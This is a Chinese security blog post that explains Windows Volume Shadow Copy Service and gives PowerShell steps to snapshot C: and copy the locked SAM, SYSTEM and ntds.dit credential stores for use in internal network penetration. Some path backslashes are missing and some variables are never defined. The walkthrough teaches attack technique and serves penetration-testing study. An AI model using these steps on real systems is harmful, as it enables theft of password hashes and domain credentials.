免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
VSS服务简介
Volume Shadow Copy Service(卷影复制服务,是Microsoft Windows中的一项功能,用于创建文件或卷的备份(快照)。VSS允许备份程序和其他类似服务在不中断文件使用的情况下创建这些备份。
VSS服务工作流程
-
快照创建:VSS能够创建一个或多个卷(如硬盘驱动器)上文件和文件夹的快照,这些快照称为影像副本或卷影副本。会捕获创建快照时刻的数据状态,允许用户或备份应用程序能够查看那一时刻的文件版本。 -
文件系统一致性:在创建快照的过程中,VSS确保文件系统的一致性。对于事务性文件系统(如NTFS),这确保文件系统在创建备份时不会处于正在写入的中间状态。 -
运行中的应用一致性:VSS与其他应用程序(如数据库管理系统)协同工作,确保在创建快照时,相关数据在逻辑上是一致的。这对于需要确保数据原子性和完整性的应用尤其重要,例如数据库和电子邮件服务器。 -
最小化服务中断:VSS允许用户在文件备份过程中继续使用系统,减少系统中断和服务停机时间。 -
卷影副本管理:VSS管理创建的影像副本,包括跟踪哪些卷有活动的副本和它们所用的存储资源。
-
VSS服务:它是整个VSS架构的协调者,负责管理所有VSS操作。 -
VSS请求者:通常是备份应用程序,它请求创建卷影副本。 -
VSS提供者:创建并管理卷阴影副本的底层系统或硬件组件。它可以是系统软件,也可以是硬件。 -
VSS编写器:它是一种特殊的应用程序或服务,它保证在创建卷影副本时,应用程序的数据在一致和稳定的状态。
-
VSS请求者(通常是备份软件)发起快照请求。 -
VSS服务协调VSS编写器准备数据(例如,完成事务,刷新缓冲区等)。 -
VSS提供者创建影像副本。
卷影副本
卷影副本(Shadow Copy)是Windows操作系统中的一种技术,它可以创建文件或磁盘卷的精确点时间副本,即使在文件正在被使用时也不例外。这种技术通常被用于备份服务中,以确保在备份过程中能够捕获一致且不被改变的数据快照。卷影副本是通过Volume Shadow Copy Service (VSS) 实现的。
-
VSS请求者(如备份软件)请求创建一个卷影副本。 -
VSS与各个VSS编写器(可能是文件系统驱动或者其他服务,如数据库服务)通信,记录当前运行状态,然后准备数据的一致性快照。 -
VSS提供者创建卷影副本,并将副本的引用提供给VSS请求者。 -
备份可以从副本中进行而不影响现有的用户活动和文件操作。
为什么使用VSS服务复制而不是直接复制?
因为大多数我们感兴趣的文件都是锁定的,无法直接复制,而且如果文件状态一直更改,即使能够复制也无法保证文件完整性。
以SAM文件为例,我们进入SAM文件目录:
C:WindowsSystem32config
尝试复制文件后随便找个地方粘贴,会提示文件正在使用:
通过PowerShell操作VSS复制文件
-
首先可以通过Get-Service检查VSS:
Get-Service -Name VSS
Get-Service -Name VSS | Select-Object Status
2. 然后可以写一个判断确定VSS是否开,如果没打开则将其启动:
$service = Get-Service -Name VSS
if ($service.Status -ne 'Running') {
Start-Service -Name VSS
"VSS service has been started."
}
3. 然后开始复制文件,这里我们复制比较重要的SAM文件、SYSTEM文件以及ntds.dit文件,首先我们需要创建一个新的卷影副本:
# Create a new volume shadow copy
$shadow = (Get-WmiObject -List win32_shadowcopy).Create('C:', 'ClientAccessible')
$volume = Get-WmiObject win32_shadowcopy | Where-Object { $_.ID -eq $shadow.ShadowID }
$deviceObject = $volume.DeviceObject + ""
解释一下这段代码:
$shadow = (Get-WmiObject -List win32_shadowcopy).Create('C:', 'ClientAccessible')
-
Get-WmiObject -List win32_shadowcopy: 这个命令查询系统支持的WMI(Windows Management Instrumentation)对象,并列出可以管理卷影副本的类win32_shadowcopy。 -
.Create('C:', 'ClientAccessible'): 通过调用win32_shadowcopy类的Create方法来创建卷C:的卷影副本。'ClientAccessible'参数确保创建的卷影副本能够被客户端访问。创建操作会返回一个包含操作状态和新创建的卷影副本ID的对象。
$volume = Get-WmiObject win32_shadowcopy | Where-Object { $_.ID -eq $shadow.ShadowID }
-
Get-WmiObject win32_shadowcopy: 获取当前系统上的所有卷影副本的实例。 -
Where-Object { $_.ID -eq $shadow.ShadowID }: 筛选出前面创建的卷影副本的实例,通过比较每个实例的ID属性和$shadow.ShadowID是否相等,确保变量$volume存储的是刚刚创建的卷影副本的实例。
$deviceObject = $volume.DeviceObject + ""
-
$volume.DeviceObject: 提取关于卷影副本的设备对象属性,它提供了卷影副本的根目录的访问路径。 -
+ "": 在路径末尾添加反斜杠(),这是路径的标准格式,确保后面连接的文件路径是正确的。
4. 然后就可以愉快的从副本中复制文件了,不要忘了把副本删除:
# Copy the files
foreach ($file in $FileList) {
$filename = Split-Path $file -Leaf
$relPath = $file.Substring(3)
$srcPath = "$deviceObject$relPath"
$destPath = Join-Path -Path $TargetDirectory -ChildPath $filename
# We use cmd.exe to perform copy to overcome the limitation with certain special paths
cmd /c copy "$srcPath" "$destPath"
Write-Host "Copied to: $destPath"
}
# Delete the shadow copy to free up the space
$volume.Delete()
5. 最后关闭VSS服务(如果一开始没有打开):
Stop-Service -Name VSS
总结
本文介绍了Windows系统下的VSS服务,以及如何利用VSS服务复制系统文件(系统文件通常是不能直接复制的)。在内网渗透中,获得系统文件的信息至关重要。
原文始发于微信公众号(赛博安全狗):【权限维持技术】Windows利用VSS服务复制系统文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论